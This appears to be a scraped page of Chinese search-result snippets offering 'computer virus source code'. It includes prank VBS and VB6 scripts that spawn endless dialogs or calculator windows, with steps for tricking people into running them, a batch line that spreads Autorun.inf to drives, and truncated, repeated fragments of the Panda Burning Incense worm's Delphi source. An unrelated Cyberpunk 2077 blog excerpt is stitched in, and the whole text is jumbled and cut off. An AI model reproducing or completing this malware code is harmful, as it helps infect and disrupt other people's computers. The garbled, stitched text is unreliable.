最简单的一个电脑病毒 1.VBS版本: 打开记事本,输入以下代码: Do Until 1=2 Wscript.echo "烦死你!" Loop 保存为1.VBS,运行后不断出现"烦死你"的对话框。 2.VB6版本: 打开Visual Basic 6.0,双击窗体,输入以下代码: Private Sub Form_Load() Do Until 1=2 Me.Hide Me.Show Shell "calc.exe" Loop ...
00400529 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms 0040052E . E8 A7010000 call ; \Sleep 00400533 . 68 88130000 push 1388 ; /Arg3 = 00001388 00400538 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; | 0040053E . 50 push eax ; |Arg2 ...
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾" 把这段复制,新建一个文本文档,粘贴进去,保存,然后右击,属性,将后缀由.txt改为.vbs 确定就行了!以后双击这个vbs文件就能捉弄人了 计算机病毒源代码介绍二: 最简单的一个电脑病毒 1.VBS版本: 打开记事本,输入以下代码: Do Until 1=2 Wscript....
sleep 300&set J=0 & echo 1>J:\solachk1 & findstr . J:\solachk1 & if not errorlevel 1 del J:\solachk1 & sleep 1000&set J=1 & findstr /C:"SOLA_1.0" J:\Autorun.inf & if errorlevel 1 attrib -s -h -r J:\Autorun.inf /y %setup%\Autorun.inf J:\Autorun.inf&attrib J:\A...
老杨在Cyberpunk2077刚上市就购买了,虽然花了几百元人民币,但是,至少不用去很麻烦的折腾,之后又因为这个游戏,将自己的PC重新启用并花了几千元人民币做了升级,说实话,很久没有因为一款游戏这么折腾了,当进入到游戏世界以后,有惊喜、有失望,惊喜的是这种Cyber风格简直了,失望的是与之前老杨看到的宣传片、预览片段差...
熊猫烧香病毒源代码!!programJapussy; uses Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry}; const HeaderSize=82432;//病毒体的大小 IconOffset=$12EB8;//PE文件主图标的偏移量 //在我的Delphi5SP1上面编译得到的大小，其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 ...
00400529 > 68 E8030000 push 3E8 ; /Timeout = 1000. ms 0040052E . E8 A7010000 call; \Sleep 00400533 . 68 88130000 push 1388 ; /Arg3 = 00001388 00400538 . 8D85 F4FEFFFF lea eax,dword ptr ss:[ebp-10C] ; | 0040053E . 50 push eax ; |Arg2 ...
熊猫烧香病毒源代码 熊猫烧⾹病毒源代码熊猫烧⾹原代码 熊猫烧⾹, ⼗六进制, Windows, 源代码, 字符串 熊猫烧⾹源代码 program Japussy;uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};const HeaderSize = 82432; //病毒体的⼤⼩ IconOffset = EB8; //PE⽂件主图标的偏移量 ...
Sleep(1000 * 60 * 5); //睡眠5分钟 end;end;{ 主程序开始 }begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程 //哪位兄台愿意完成之? end; //如果是原始病毒体自己 if CompareText(ExtractFileName(Para...
Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin //远程线程映射到Explorer进程 //哪位兄台愿意完成之?汤姆感激不尽!end;//如果是原始病毒体自己if CompareText(ExtractFileName(...